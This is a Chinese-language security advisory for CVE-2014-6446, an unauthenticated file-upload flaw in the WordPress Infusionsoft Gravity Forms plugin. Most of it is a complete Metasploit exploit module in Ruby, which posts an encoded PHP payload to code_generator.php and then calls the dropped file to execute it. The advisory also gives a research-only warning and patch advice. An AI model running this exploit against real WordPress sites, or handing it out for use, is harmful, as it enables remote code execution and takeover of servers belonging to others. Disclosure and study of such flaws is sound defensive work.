WordPress Infusionsoft Gravity Forms插件多个安全漏洞(CVE-

发布日期:2014-10-09
更新日期:2014-10-13

受影响系统:
WordPress Infusionsoft 1.5.3 - 1.5.10
描述:
BUGTRAQ  ID: 70317
 CVE(CAN) ID: CVE-2014-6446

 WordPress Infusionsoft可以用Infusionsoft集成Gravity Forms插件。

Infusionsoft Gravity Forms 插件1.5.3-1.5.10版本没有正确限制访问,这可使远程攻击者通过向utilities/code_generator.php发送请求利用此漏洞,上传任意文件并执行任意PHP代码。

<*来源:us3r777
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
##
 # This module requires Metasploit: http//metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##

 require 'msf/core'

 class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Wordpress InfusionSoft Upload Vulnerability',
      'Description'    => %q{
        This module exploits an arbitrary PHP code upload in the wordpress Infusionsoft Gravity
        Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
        upload and remote code execution.
      },
      'Author'        =>
        [
          'g0blin',                    # Vulnerability Discovery
          'us3r777 <[email protected]>'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'    =>
        [
          ['CVE', '2014-6446'],
          ['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
        ],
      'Privileged'    => false,
      'Platform'      => 'php',
      'Arch'          => ARCH_PHP,
      'Targets'        => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
      'DisclosureDate' => 'Sep 25 2014',
      'DefaultTarget'  => 0)
    )
  end

  def check
    res = send_request_cgi(
      'uri'    => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
    )

    if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
    res = send_request_cgi({
      'uri'      => normalize_uri(wordpress_url_plugins, 'infusionsoft',
                      'Infusionsoft', 'utilities', 'code_generator.php'),
      'method'    => 'POST',
      'vars_post' =>
      {
        'fileNamePattern' => php_pagename,
        'fileTemplate'    => payload.encoded
      }
    })

    if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
      print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
      register_files_for_cleanup(php_pagename)
    else
      fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
    end

    print_status("#{peer} - Calling payload ...")
    send_request_cgi({
      'uri'      => normalize_uri(wordpress_url_plugins, 'infusionsoft',
                      'Infusionsoft', 'utilities', php_pagename)
    }, 2)
  end

 end

建议:
厂商补丁:

WordPress
 ---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

https://wordpress.org/plugins/infusionsoft/changelog/

相关推荐